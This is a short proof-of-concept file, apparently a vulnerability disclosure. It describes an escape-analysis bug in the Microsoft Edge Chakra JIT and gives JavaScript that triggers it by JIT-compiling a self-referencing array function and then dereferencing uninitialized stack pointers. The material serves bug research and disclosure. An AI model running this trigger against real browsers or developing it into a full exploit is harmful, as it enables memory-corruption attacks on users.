Microsoft Edge Chakra JIT - Escape Analysis Bug
/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis
Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.
PoC:
*/
function opt() {
let tmp = [];
tmp[0] = tmp;
return tmp[0];
}
function main() {
for (let i = 0; i < 0x1000; i++) {
opt();
}
print(opt()); // deref uninitialized stack pointers!
}
main();